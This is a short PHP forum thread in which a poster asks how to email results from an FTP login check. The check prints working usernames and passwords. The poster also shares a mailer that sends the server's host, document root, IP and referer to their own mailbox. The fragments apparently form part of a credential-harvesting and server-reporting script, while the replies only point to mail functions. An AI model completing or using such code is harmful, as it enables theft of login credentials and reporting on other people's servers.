jully6969@yahoo.com Posted January 24, 2007 Share Posted January 24, 2007 the problem is this :i wanna send the results from a php line to my e-mail [b]@$res=ftp_login($ftp,$login,$pass); if ($res) { [color=red]echo 'try this -> user:'.$login.' password:'.$pass." none\n"[/color];[/b] <-[b]this is the line[/b]how to send the final result of the last line in mail ? sombody helpme ? please.. and tnx .. srry for my bad english Quote Link to comment https://forums.phpfreaks.com/topic/35492-how-to-send-email/ Share on other sites More sharing options...
trq Posted January 24, 2007 Share Posted January 24, 2007 Have a look at the [url=http://php.net/mail]mail[/url] function. Quote Link to comment https://forums.phpfreaks.com/topic/35492-how-to-send-email/#findComment-167923 Share on other sites More sharing options...
jully6969@yahoo.com Posted January 24, 2007 Author Share Posted January 24, 2007 [quote author=thorpe link=topic=123800.msg512136#msg512136 date=1169631888]Have a look at the [url=http://php.net/mail]mail[/url] function.[/quote]i have a mail sender [code]$to="jully6969@yahoo.com";$subject = "info";$info .= "HOST:\t$HTTP_HOST\n";$info .= "DOC_ROOT:\t$PATH_TRANSLATED\n";$info .= "IP:\t$REMOTE_ADDR\n";$info .= "URL:\t$HTTP_REFERER\n";$from = "nobody@nobody.com";mail ("$to","$subject","$info","$from");[/code]but i dont know how to insert that line in the mail sender Quote Link to comment https://forums.phpfreaks.com/topic/35492-how-to-send-email/#findComment-167925 Share on other sites More sharing options...
redbullmarky Posted January 24, 2007 Share Posted January 24, 2007 why do you need to ftp in?if you're mail needs auth to send, then it maybe worth taking a look at [url=http://phpmailer.sourceforge.net/]phpMailer[/url] Quote Link to comment https://forums.phpfreaks.com/topic/35492-how-to-send-email/#findComment-167929 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.